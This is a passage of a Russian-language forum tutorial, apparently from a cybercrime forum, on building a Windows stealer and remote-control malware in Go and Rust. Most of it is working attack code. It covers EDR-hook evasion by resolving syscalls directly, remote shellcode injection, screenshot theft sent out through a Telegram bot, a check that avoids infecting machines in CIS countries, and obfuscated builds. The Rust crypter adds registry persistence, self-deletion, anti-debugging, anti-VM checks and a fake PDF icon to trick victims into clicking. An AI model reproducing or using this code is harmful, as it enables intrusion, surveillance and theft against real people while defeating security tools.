if hashing_func(exp.Name) == hash {
offset := rvaToOffset(ntdll_pe, exp.VirtualAddress)
bBytes, err := ntdll_pe.Bytes()
if err != nil {
return 0, "", err
 }

buff := bBytes[offset : offset+10]
sysId, e := CheckBytes(buff)

            var hook_err MayBeHookedError
if errors.As(e, &hook_err) {
// Enter here if function seems to be hooked
start, size := GetNtdllStart()

// Search forward
distanceNeighbor := 0
for i := uintptr(offset); i < start+size; i += 1 {
if bBytes == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
distanceNeighbor++

sysId, e := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again
if !errors.As(e, &hook_err) {                 // Return syscall ID if it isn't hooked
return sysId - uint16(distanceNeighbor), "", e
}
}
 }

// Search backward
distanceNeighbor = 1
for i := uintptr(offset) - 1; i > 0; i -= 1 {
if bBytes == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
distanceNeighbor++

sysId, e := CheckBytes(bBytes[i+14 : i+14+8])
if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked
return sysId + uint16(distanceNeighbor) - 1, "", e
}
}
}
} else {
// Return syscall id as it isn't hooked
return sysId, "", nil
}
}
 }

return 0, "", errors.New("syscall ID not found")
}

Теперь нам нужно закодировать функцию, которая загрузит наш шелл-код и выполнится в нужном нам удаленном процессе. Если вы не хотите выполняться в удаленном процессе, вы можете выполнить ее в текущем процессе, удалив дескриптор удаленного процесса и вместо этого сделав это для текущего процесса, указатель на который равен 0xffffffffffffffff.

Общий рабочий процесс можно увидеть на этом изображении ниже.

1.jpg

2.jpg

3.jpg

4.jpg


Inject
C:
func Inject(processName string, shellcode []byte) error {
    // Get the handle to the process
    handle, err := getRemoteProcessHandle(processName)
    if err != nil {
        return err
    }
    defer windows.CloseHandle(handle)
    var baseAddr uintptr
    regionsize := uintptr(len(shellcode))
    // Allocate memory in the remote process with the size of the shellcode via ntAllocateVirtualMemory
    ret, _ := systemcall(
        ntAllocateVirtualMemory,
        uintptr(handle),
        uintptr(unsafe.Pointer(&baseAddr)),
        0,
        uintptr(unsafe.Pointer(&regionsize)),
        windows.MEM_COMMIT|windows.MEM_RESERVE,
        syscall.PAGE_READWRITE,
    )
    if ret != 0 {
        return fmt.Errorf("ntAllocateVirtualMemory failed: %x", ret)
    }

    // Write the shellcode to the allocated memory via ntWriteVirtualMemory

    systemcall(
        ntWriteVirtualMemory,
        uintptr(handle),
        baseAddr,
        uintptr(unsafe.Pointer(&shellcode[0])),
        uintptr(len(shellcode)),
        0,
    )

    // Change the memory protection of the allocated memory to PAGE_EXECUTE_READ via ntProtectVirtualMemory

    var oldProtect uintptr
    ret, _ = systemcall(
        ntProtectVirtualMemory,
        uintptr(handle),
        uintptr(unsafe.Pointer(&baseAddr)),
        uintptr(unsafe.Pointer(&regionsize)),
        syscall.PAGE_EXECUTE_READ,
        uintptr(unsafe.Pointer(&oldProtect)),
    )
    if ret != 0 {
        return fmt.Errorf("ntProtectVirtualMemory failed: %x", ret)
    }

    // Create a new thread in the remote process with the entry point of the shellcode via ntCreateThreadEx
    var threadId uintptr

    ret, _ = systemcall(
        ntCreateThreadEx,
        uintptr(unsafe.Pointer(&threadId)),
        0x1FFFFF,
        0,
        uintptr(handle),
        baseAddr,
        0,
        uintptr(0),
        0,
        0,
        0,
        0,
    )

    // Wait for the thread to finish

    syscall.WaitForSingleObject(syscall.Handle(threadId), syscall.INFINITE)

    if ret != 0 {
        return fmt.Errorf("ntCreateThreadEx failed: %x", ret)
    }

    return nil
}

Конвертировать шеллкод в base64 легко, вот как мы это делаем в Golang. В этом примере я использовал шеллкод msfvenom, который отображает калькулятор Windows при выполнении.
C:
package main

import (
"encoding/base64"
"fmt"
)

func main() {
shellcode := []byte{
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00,
}
//convert to base64 string
encoded := base64.StdEncoding.EncodeToString(shellcode)
fmt.Println(encoded)
}

0x9 — Создание снимков экрана:​

Здесь я использовал пакет Go github.com/kbinani/screenshot, который использует функции из Windows DLL user32.dll.

Обратите внимание, EDR устанавливают свои хуки не только в ntdll.dll, но в зависимости от EDR они могут устанавливать (разные) хуки в разных модулях (DLL) в пользовательском режиме. Поэтому в качестве мер контроля не используйте пакет, клонируйте его git и применяйте методы, которые мы изучили выше, также в user32.dll.

Функция принимает один аргумент, который является IP-адресом целевой машины, и возвращает true, если снимок экрана успешно отправлен злоумышленнику.
C:
func CaptureScreenShot(ip string) bool {
n := screenshot.NumActiveDisplays()
var buf bytes.Buffer
for i := 0; i < n; i++ {
bounds := screenshot.GetDisplayBounds(i)
img, err := screenshot.CaptureRect(bounds)
if err != nil {
return false
}
png.Encode(&buf, img)
}
return utils.SendScreenshot(ip, buf.Bytes(), config.BotToken, config.ChatID) == nil
}

0x10 — Основная функция и компиляция проекта:​

Теперь мы можем начать кодировать основную программу.
Поскольку мы не работаем в странах СНГ, нам нужно выполнить проверку языка с помощью оператора «Switch» в начале нашей основной функции, чтобы убедиться, что наша программа не запустится в этих странах. Мы можем сделать это на Go, используя пакет Golang для Windows, поэтому это будет выглядеть так:
C:
languagesNames, err := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME)
if err != nil {
os.Exit(1)
}
for _, language := range languagesNames {
//CIS countries check
switch language {
case "ru-RU":
return
case "uk-UA":
return
case "be-BY":
return
case "ky-KG":
return
case "uz-UZ":
return
case "kk-KZ":
return
}
}

Это последняя часть, мы закончили кодирование нашего проекта, теперь пришло время его скомпилировать, в нашем проекте мы использовали библиотеку SQLite, которая зависит от CGO, поэтому мы должны сообщить об этом компилятору.

Для пользователей Linux вы можете скомпилировать с помощью:
Bash:
GOOS=windows CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags="-w -s -H=windowsgui"

Для Windows сначала необходимо установить x86_64-w64-mingw32-gcc, а затем скомпилировать с помощью:
Bash:
CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags="-w -s -H=windowsgui"

Даже если вы компилируете с -s, это только удалит и уберет отладочную информацию. Если мы поместим двоичный файл в IDA Pro, вы легко увидите, что имена наших функций видны, и это сделает наш двоичный файл простым для понимания. Так что мы можем сделать так, чтобы имена функций и переменных были рандомизированы самостоятельно, или использовать Garble для компиляции.

IDA - xssTgC2.PNG


0x11 — Бонус:​

Если вы применяете все техники, которые мы обсуждали выше, вам не нужно использовать PE-криптер, ваш бинарный файл не будет обнаружен. Но в некоторых случаях использование PE-криптера может быть полезным, так как он скрывает оригинальный exe, защищая его от статического анализа, что хорошо для длительного сокрытия. Так что либо вы можете купить криптер, либо создать свой собственный, что, на мой взгляд, является наилучшим вариантом. В качестве бонуса я улучшил этот проект на Rust GitHub под названием Rust-Crypter. Мы обсудим, с чем я не согласен с автором, и что можно улучшить.

Первая проблема — не проверяется, есть ли уже сохраненная персистентность, и если она есть, нам не нужно делать все заново. Вторая проблема — ключ включен в бинарный файл. Если ключ шифрования хранится в открытом виде внутри бинарного файла, его можно легко извлечь. Одно из решений — зашифровать ключ другим ключом и расшифровывать его во время выполнения. Чтобы избежать хардкодинга ключа в бинарном файле, ключ взламывается с помощью подбора.

Мы исправим эти проблемы и добавим анти-отладку, самоуничтожение и сжатие с использованием gzip, а также заменим Aes18 на Aes256. Для целей социальной инженерии мы также добавим кастомную иконку в наш исполняемый файл, например, как pdf или любую другую иконку, которая будет казаться жертве более убедительной для клика.

Давайте начнем кодирование.

Для выполнения подбора ключа функции шифрования и дешифрования требуют подсказочного байта. Знание значения одного байта до и после процесса шифрования делает процесс дешифрования возможным. В данном случае первым байтом выбран байт-подсказка.
Например, если байт-подсказка равен BA, а после шифрования он становится 71, то процесс дешифрования будет подбирать это значение до тех пор, пока оно не вернется к BA, что будет указывать на правильность используемого ключа.

original.png


Функция generate_key() принимает байт-подсказку и добавляет его в начало оригинального ключа. Затем она использует алгоритм шифрования XOR для шифрования ключа с использованием случайно сгенерированного ключа во время выполнения.
C++:
fn generate_key() -> ([u8; 32],[u8; 32]) {
let mut rng = StdRng::from_entropy();
let b = rng.next_u32() as u8;
let mut key = [0u8; 32];
// The key starts with the hint byte
key[0] = 71;
rng.fill_bytes(&mut key[1..]);
// Encrypting the key using a xor encryption algorithm
let mut encrypted_key = [0u8; 32];
for i in 0..32 {
encrypted_key = key ^ b;
}
return (encrypted_key, key);
}

Процесс расшифровки ключа:
Поскольку ключ шифрования, использованный для шифрования ключа, нигде не сохраняется, функция дешифрования должна быть способна угадать значение b, показанное в функции generate_key. Для этого функция дешифрования будет выполнять операцию XOR с первым байтом ключа, который является байтом-подсказкой, и различными ключами до тех пор, пока результат не совпадет с байтом-подсказкой оригинального ключа. Когда это произойдет, функция узнает, что был выбран правильный параметр b. Ниже приведен фрагмент кода, который демонстрирует эту логику.
Code:
if ((encrypted_key[0] ^ b) == HintByte)
  // Then b's value is the xor encryption key
else
  // Then b's value is not the xor encryption key, try with a different b value

Продолжая предыдущий пример, когда 71 становится BA, то было угадано правильное значение b.
C++:
fn decrypt_key(encrypted_key: &mut [u8; 32]) {
let mut b:u8 = 0;
for i in 0..255 {
if (encrypted_key[0] ^ (i as u8)) == 71 {
b = i as u8;
 break;
}
}
for i in 0..32{
encrypted_key ^= b;
}
}

Хотя этот метод подбора ключа прост, он может быть использован для предотвращения извлечения ключа из бинарного файла исследователями и аналитиками вредоносных программ. Это заставляет их отлаживать бинарник, чтобы понять, как генерируется ключ, и здесь на помощь приходят техники анти-анализа.

Многие вредоносные программы используют эту технику, потому что она позволяет выполнять команду или файл при каждом запуске системы. Проникнуть в сеть организации сложно, и это может занять много времени, поэтому персистентность (устойчивость) действительно важна, чтобы сосредоточиться на дальнейшей работе, а не тратить время на повторный доступ. В данном случае есть несколько ключей реестра Windows, которые позволяют это сделать, и мы будем использовать HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

Для взаимодействия с ключами реестра нам необходимо импортировать официальную библиотеку Rust Registry.
C++:
fn infected() -> bool {
let infected_dir = Path::new("C:/Users/Public/Music/xssTgC2");
infected_dir.exists()
}
fn create_infected_directory() -> io::Result<()> {
let infected_dir = Path::new("C:/Users/Public/Music/xssTgC2");
fs::create_dir_all(&infected_dir)?;

let current_exe = env::current_exe()?;
let current_exe_filename = current_exe.file_name();

let infected_exe_path = infected_dir.join(current_exe_filename.unwrap());
fs::copy(&current_exe, &infected_exe_path)?;

Ok(())
}
fn persistence() -> io::Result<()> {
let _ = create_infected_directory();
if let Ok(current_exe) = env::current_exe() {
if let Some(file_name) = current_exe.file_stem() {
let executable_name = file_name.to_string_lossy();
let directory_path = "C:/Users/Public/Music/xssTgC2/";
let file_path = format!("{}{}.exe", directory_path, executable_name);

// Open the "Run" registry key
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let run_key = hkcu.open_subkey_with_flags(
 "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
KEY_ALL_ACCESS,
)?;

// Add the executable path to the "Run" registry key
run_key.set_value("xssTgC2", &file_path).err();
}
}
Ok(())
}

Это хорошо известный метод, который можно использовать без злого умысла для запуска приложения при запуске, но его также можно использовать для запуска вредоносного ПО, например C2-дроппера.

Самоудаление:
Невозможно удалить бинарный файл текущего работающего процесса в Windows, поскольку удаление файла обычно требует, чтобы никакой другой процесс не использовал его.

Одним из способов обойти это является переименование потока данных :$DATA в случайное имя, представляющее новый поток данных. После этого удаление вновь переименованного потока данных удалит бинарник с диска, даже если он всё ещё работает.

Первым шагом процесса является получение дескриптора целевого файла, которым является файл локальной реализации. Дескриптор файла можно получить с помощью WinAPI функции CreateFile. Флаг доступа должен быть установлен в DELETE, чтобы предоставить разрешения на удаление файла.

Следующий шаг для удаления работающего бинарного файла — это переименование потока данных :$DATA. Это можно сделать с помощью функции SetFileInformationByHandle WinAPI с флагом FileRenameInfo.

Функция SetFileInformationByHandle WinAPI показана ниже.
C:
BOOL SetFileInformationByHandle(
[in] HANDLE                    hFile,                       // Handle to the file for which to change information.
[in] FILE_INFO_BY_HANDLE_CLASS FileInformationClass,        // Flag value that specifies the type of information to be changed
[in] LPVOID                    lpFileInformation,           // Pointer to the buffer that contains the information to change for
[in] DWORD                     dwBufferSize                 // The size of 'lpFileInformation' buffer in bytes
);

Параметр FileInformationClass должен быть значением перечисления FILE_INFO_BY_HANDLE_CLASS.

Когда параметр FileInformationClass установлен в FileRenameInfo, lpFileInformation должен быть указателем на структуру FILE_RENAME_INFO, как указано Microsoft, что показано на следующем изображении. Структура FILE_RENAME_INFO показана ниже.
C:
typedef struct _FILE_RENAME_INFO {
union {
BOOLEAN ReplaceIfExists;
DWORD Flags;
} DUMMYUNIONNAME;
BOOLEAN ReplaceIfExists;
HANDLE RootDirectory;
DWORD FileNameLength;   // The size of 'FileName' in bytes
WCHAR FileName[1];      // The new name
} FILE_RENAME_INFO, *PFILE_RENAME_INFO;

Два члена, которые необходимо установить — это FileNameLength и FileName. Документация Microsoft объясняет, как определить новое имя потока файлов NTFS.

Таким образом, FileName должен быть строкой с широкими символами, начинающейся с двоеточия.
Последний шаг — удалить поток :$DATA, чтобы стереть файл с диска. Для этого будет использована та же функция SetFileInformationByHandle WinAPI, но с другим флагом — FileDispositionInfo. Этот флаг помечает файл для удаления, когда его дескриптор закрывается. Этот флаг используется Microsoft в разделе примера.

Когда используется флаг FileDispositionInfo, lpFileInformation должен быть указателем на структуру FILE_DISPOSITION_INFO, как указано Microsoft, что показано на следующем изображении.
Структура FILE_DISPOSITION_INFO показана ниже.
Code:
typedef struct _FILE_DISPOSITION_INFO {
  BOOLEAN DeleteFile;       // Set to 'TRUE' to mark the file for deletion
} FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO;

После первого вызова SetFileInformationByHandle для переименования потока файлов NTFS файла дескриптор файла должен быть закрыт и повторно открыт с помощью другого вызова CreateFile. Это делается для обновления потока данных файла, чтобы новый дескриптор содержал новый поток данных.

Функция delete_me, показанная ниже, использует описанный процесс для удаления файла с диска во время его работы.

delete_me
C++:
fn delete_me() -> Result<(), Box<dyn std::error::Error>> {
let stream = ":xssTgC2";
let stream_wide = stream.encode_utf16().chain(Some(0)).collect::<Vec<u16>>();

unsafe {
let mut delete_file = FILE_DISPOSITION_INFO::default();
let lenght = size_of::<FILE_RENAME_INFO>() + (stream_wide.len() * size_of::<u16>());
let rename_info = HeapAlloc(GetProcessHeap()?, HEAP_ZERO_MEMORY, lenght) as *mut FILE_RENAME_INFO;

delete_file.DeleteFile = true.into();
(*rename_info).FileNameLength = (stream_wide.len() * size_of::<u16>()) as u32 - 2;

std::ptr::copy_nonoverlapping(
stream_wide.as_ptr(),
(*rename_info).FileName.as_mut_ptr(),
stream_wide.len(),
 );

// Used to get the current file full path
let path = std::env::current_exe()?;
let path_str = path.to_str().ok_or_else(|| "Error when converting to str")?;
let full_path = path_str.encode_utf16().chain(Some(0)).collect::<Vec<u16>>();
   
// Opening a handle to the current file
let mut h_file = CreateFileW(
PCWSTR(full_path.as_ptr()),
DELETE.0 | SYNCHRONIZE.0,
FILE_SHARE_READ,
None,
OPEN_EXISTING,
FILE_FLAGS_AND_ATTRIBUTES(0),
None,
)?;

// Renaming the data stream
 SetFileInformationByHandle(
h_file,
FileRenameInfo,
rename_info as *const c_void,
lenght as u32,
)?;

CloseHandle(h_file)?;

// Opening a new handle to the current file
h_file = CreateFileW(
PCWSTR(full_path.as_ptr()),
DELETE.0 | SYNCHRONIZE.0,
FILE_SHARE_READ,
None,
OPEN_EXISTING,
FILE_FLAGS_AND_ATTRIBUTES(0),
None,
)?;

// Marking for deletion after the file's handle is closed
 SetFileInformationByHandle(
h_file,
FileDispositionInfo,
&delete_file as *const _ as *const c_void,
size_of::<FILE_DISPOSITION_INFO>() as u32,
)?;

CloseHandle(h_file)?;

 HeapFree(
GetProcessHeap()?,
HEAP_ZERO_MEMORY,
Some(rename_info as *const c_void),
)?;
 }

Ok(())
 
}

Для антиотладки мы будем использовать типичную функцию IsDebuggerPresent в Windows API.
Для анти-VM автор использует библиотеку Rust под названием inside_vm, которая измеряет среднее количество циклов ЦП при вызове cpuid и сравнивает с пороговым значением. Если значение высокое, то предполагается, что код выполняется внутри ВМ.

Также мы должны использовать #![windows_subsystem = "windows"] в верхней части нашего кода-заглушки, чтобы предотвратить появление черных окон командной строки.

Вот и все. Надеюсь, вам понравилась моя небольшая статья. Если у вас есть вопросы или мнения, не стесняйтесь, задавайте любые вопросы, в конце концов, мы здесь, чтобы учиться друг у друга.

ZIP: https://xss.is/attachments/100042/
 
Last edited:
Top